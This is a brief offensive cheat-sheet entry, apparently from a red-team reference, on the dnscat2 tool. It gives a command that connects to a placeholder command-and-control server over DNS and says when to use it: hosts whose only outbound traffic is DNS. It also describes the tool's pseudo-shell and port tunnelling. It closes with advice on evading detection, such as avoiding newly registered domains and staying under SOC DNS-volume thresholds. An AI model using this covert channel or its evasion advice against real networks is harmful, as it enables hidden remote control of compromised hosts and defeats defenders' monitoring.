dnscat2

dnscat2 --dns server=<c2>,domain=<domain>

Establishes an interactive C2 channel that travels inside DNS queries: invisible to firewalls that only allow outbound DNS.

Run it when the target host only has DNS egress (strict egress filtering, DMZ, captive portals) and you need an interactive channel. The dnscat2 client provides a pseudo-shell and can tunnel ports with --listen to reach internal services on the host.

If the corporate resolver does sinkholing based on domain reputation or the SOC monitors DNS volume per domain (Zeek dns.log with thresholds), the tunnel will be detected within hours. Do not use it on newly registered domains: the volume of TXT queries on a domain with no history is the easiest signature to hunt.